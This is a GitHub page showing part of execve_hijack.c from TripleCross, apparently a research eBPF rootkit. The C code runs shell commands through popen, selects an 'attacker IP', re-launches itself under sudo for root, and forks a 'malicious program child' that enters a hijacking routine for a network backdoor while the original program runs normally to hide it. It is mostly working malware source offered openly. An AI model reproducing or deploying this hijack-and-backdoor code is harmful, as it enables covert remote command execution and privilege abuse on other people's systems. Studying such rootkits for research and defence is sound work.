Product Solutions Resources Open Source Enterprise Pricing Sign in Sign up

h3xduck / TripleCross Public

Notifications Fork 220 Star 1.8k

Code Issues 17 Pull requests 1 Actions Projects Security Insights

TripleCross / src / helpers / **execve_hijack.c**

**h3xduck** Finished section 5. Multiple changes in the code accordi... 5d6619c · 2 years ago History

```c
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <time.h>
#include <sys/wait.h>
#include <bpf/bpf.h>
#include <bpf/libbpf.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
```

Files

1f1c3e0

Go to file

- apps
- docs
- src
  - bin
  - client
  - common
  - ebpf
  - helpers
    - lib
    - Makefile
    - deployer.sh
    - execve_hijack
    - execve_hijack.c
    - execve_hijack.o
    - injection_lib.c
    - injection_lib.o
    - injection_lib.so
    - opcode_reverser.py
    - packager.sh
    - simple_execve
    - simple_execve.c
    - simple_execve.o

TripleCross / src / helpers / execve_hijack.c Top

Code Blame 343 lines (283 loc) · 9.43 KB Raw

```c
#include <sys/file.h>
#include <errno.h>
#include <syslog.h>
#include <dlfcn.h>
#include <sys/timerfd.h>
#include <ifaddrs.h>
#include <linux/if_link.h>

#include "lib/RawTCP.h"
#include "../common/c&c.h"
#include <linux/bpf.h>
#include <bpf/bpf.h>
#include <bpf/libbpf.h>

#define LOCK_FILE "/tmp/rootlog"
#define DEFAULT_NETWORK_INTERFACE "enp0s3"

int test_time_values_injection(){

    struct itimerspec new_value, new_value2;
    int max_exp, fd, fd2;
    struct timespec now;
    uint64_t exp, tot_exp;
    ssize_t s;


    fd = timerfd_create(CLOCK_REALTIME, 0);
    if (fd == -1)
        return -1;

    new_value.it_interval.tv_sec = 30;
    new_value.it_interval.tv_nsec = 0;

    if (timerfd_settime(fd, TFD_TIMER_ABSTIME, &new_value, NULL) == -1)
        return -1;

    fd2 = timerfd_create(CLOCK_REALTIME, 0);
    if (fd2 == -1)
```

- simple_open
- simple_open.c
- simple_open.o
- simple_timer
- simple_timer.c
- simple_timer.o
- libbpf
- tools
- user
- vmlinux
- Makefile
- .gitignore
- LICENSE
- README.md

```c
        return -1;

    new_value2.it_interval.tv_sec = 30;
    new_value2.it_interval.tv_nsec = 0;

    if (timerfd_settime(fd2, TFD_TIMER_ABSTIME, &new_value2, NULL) == -1)
        return -1;


    printf("Timer %i started, address sent %llx\n", fd, (__u64)&new_value);

    return 0;
}


char* execute_command(char* command){
    FILE *fp;
    char* res = calloc(4096, sizeof(char));
    char buf[1024];

    fp = popen(command, "r");
    if(fp == NULL) {
        printf("Failed to run command\n" );
        return "COMMAND ERROR";
    }

    while(fgets(buf, sizeof(buf), fp) != NULL) {
        strcat(res, buf);
    }
    printf("RESULT OF COMMAND: %s\n", res);

    pclose(fp);
    return res;
}


/**
 * @brief Improved version of getting local IP
 * Based on the man page: https://man7.org/linux/man-pages/man3/getifaddrs.3.html
 * 
 * @return char* 
 */
char* getLocalIpAddress(){
    char hostbuffer[256];
    char* IPbuffer = calloc(256, sizeof(char));
    struct hostent *host_entry;
    int hostname;

    struct ifaddrs *ifaddr;
    int family, s;
    char host[NI_MAXHOST];

    if (getifaddrs(&ifaddr) == -1) {
        perror("getifaddrs");
        exit(EXIT_FAILURE);
    }

    /* Walk through linked list, maintaining head pointer so we
        can free list later. */

    for (struct ifaddrs *ifa = ifaddr; ifa != NULL;ifa = ifa->ifa_next) {
        if (ifa->ifa_addr == NULL)
            continue;

        family = ifa->ifa_addr->sa_family;

        /* Display interface name and family (including symbolic
            form of the latter for the common families). */

        //printf("%-8s %s (%d)\n",ifa->ifa_name,(family == AF_PACKET) ? "AF_PACKET" :(f
        /* For an AF_INET* interface address, display the address. */

        if (family == AF_INET || family == AF_INET6) {
            s = getnameinfo(ifa->ifa_addr,
                    (family == AF_INET) ? sizeof(struct sockaddr_in) :
```

```
                                            sizeof(struct sockaddr_in6),
                        host, NI_MAXHOST,
                        NULL, 0, NI_NUMERICHOST);
                if (s != 0) {
                    printf("getnameinfo() failed: %s\n", gai_strerror(s));
                    exit(EXIT_FAILURE);
                }

                //printf("\t\taddress: <%s>\n", host);
                if(strcmp(ifa->ifa_name, DEFAULT_NETWORK_INTERFACE)==0){
                    //Interface we chose
                    printf("Attacker IP selected: %s (%s)\n", ifa->ifa_name, host);
                    strcpy(IPbuffer, host);
                    return IPbuffer;
                }
            }

        }

```

```

    if(geteuid() != 0){
        //We do not have privileges, but we do want them. Let's rerun the program now.
        char* args[argc+3];
        args[0] = "sudo";
        args[1] = "/home/osboxes/TFG/src/helpers/execve_hijack";
        //printf("execve ARGS%i: %s\n", 0, args[0]);
        //printf("execve ARGS%i: %s\n", 1, args[1]);
        for(int ii=0; ii<argc; ii++){
            args[ii+2] = argv[ii];
            //printf("execve ARGS%i: %s\n", ii+2, args[ii+2]);
        }
        args[argc+2] = NULL;

        if(execve("/usr/bin/sudo", args, envp)<0){
            perror("Failed to execve()");
            exit(-1);
        }
        exit(0);
    }


    //We proceed to fork() and exec the original program, whilst also executing the one
    //ordered to execute via the network backdoor
    pid_t pid = fork();

    if (pid < 0) {
        perror("Fork failed");
    }
    if (pid == 0) {
        setsid();
        //Child process
        printf("Malicious program child executed with pid %d\n", (int) getpid());

        //First of all check if the locking log file is locked, which indicates that th
        int fd = open(LOCK_FILE, O_RDWR | O_CREAT | O_TRUNC, 0666);
        if(fd<0){
            perror("Failed to open lock file before entering hijacking routine");
            exit(-1);
        }
        if (flock(fd, LOCK_EX|LOCK_NB) == -1) {
            if (errno == EWOULDBLOCK) {
                perror("lock file was locked");
            } else {
                perror("Error with the lockfile");
            }
            exit(-1);
        }
        hijacker_process_routine(argc, argv, fd);
        printf("Child process is exiting\n");
        exit(0);
    }
    //Parent process. Call original hijacked command
    char* hij_args[argc];
    hij_args[0] = argv[1];
    syslog(LOG_DEBUG, "hijacking ARGS%i: %s\n", 0, hij_args[0]);
    for(int ii=0; ii<argc-2; ii++){
        hij_args[ii+1] = argv[ii+2];
        syslog(LOG_DEBUG, "hijacking ARGS%i: %s\n", ii+1, hij_args[ii+1]);
    }
    hij_args[argc-1] = NULL;

    if(execve(argv[1], hij_args, envp)<0){
        perror("Failed to execve() originally hijacked process");
        exit(-1);
    }

    wait(NULL);
    printf("parent process is exiting\n");
    return(0);



}
```